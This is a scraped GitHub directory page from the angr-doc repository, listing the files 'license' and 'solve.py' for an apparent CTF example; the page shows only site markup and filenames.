class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> angr </span> <span>/</span> angr-doc <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>386</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>813</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>7</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/angr/angr-doc/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":40329995,"originating_url":"https://github.com/angr/angr-doc/tree/master/examples/asisctffinals2015_license","user_id":null}}" data-hydro-click-hmac="24cb158b4958ede227e489b8ddb28f06ffd652220b12de884b7c88036e7129a7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/angr/angr-doc/refs" cache-key="v0:1678330367.235797" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YW5nci9hbmdyLWRvYw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/angr/angr-doc/refs" cache-key="v0:1678330367.235797" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YW5nci9hbmdyLWRvYw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>angr-doc</span></span></span><span>/</span><span><span>examples</span></span><span>/</span>asisctffinals2015_license<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>angr-doc</span></span></span><span>/</span><span><span>examples</span></span><span>/</span>asisctffinals2015_license<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/angr/angr-doc/tree-commit/bc8c3871cf23fccafc6b9ec2d6ab46dc0a2c4e58/examples/asisctffinals2015_license" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/angr/angr-doc/file-list/master/examples/asisctffinals2015_license"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>license</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 